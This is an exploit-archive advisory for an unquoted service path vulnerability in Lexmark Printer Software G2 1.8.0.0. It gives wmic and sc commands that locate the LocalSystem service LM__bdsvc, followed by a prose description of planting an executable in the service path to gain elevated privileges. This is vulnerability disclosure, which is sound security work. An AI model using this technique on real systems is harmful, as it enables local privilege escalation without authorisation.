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Lexmark Printer Software G2 Installation Package 1.8.0.0 Unquoted Service Path

Lexmark Printer Software G2 Installation Package 1.8.0.0 Unquoted Service Path
Posted Jun 20, 2021
Authored by Julio Avina

Lexmark Printer Software G2 Installation Package version 1.8.0.0 suffers from an unquoted service path vulnerability.

tags | exploit
MD5 | 83fc6360d180ef74ff59abda6bbcfa86

Lexmark Printer Software G2 Installation Package 1.8.0.0 Unquoted Service Path

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# Exploit Title: Lexmark Printer Software G2 Installation Package 1.8.0.0 - 'LM__bdsvc' Unquoted Service Path
# Date: 2021-06-20
# Exploit Author: Julio AviƱa
# Vendor Homepage: https://www.lexmark.com/
# Software Link: https://downloads.lexmark.com/downloads/drivers/Lexmark_Printer_Software_G2_Installation_Package_01292021.exe
# Version: 1.8.0.0
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%LM__bdsvc%"' get displayname, pathname, startmode, startname

DisplayName PathName StartMode StartName
Lexmark Communication System C:\Program Files\Lexmark\Bidi\LM__bdsvc.exe Auto LocalSystem

# 2. To check service info:

C:\>sc qc "LM__bdsvc"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: LM__bdsvc
TIPO : 110 WIN32_OWN_PROCESS (interactive)
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files\Lexmark\Bidi\LM__bdsvc.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Lexmark Communication System
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.

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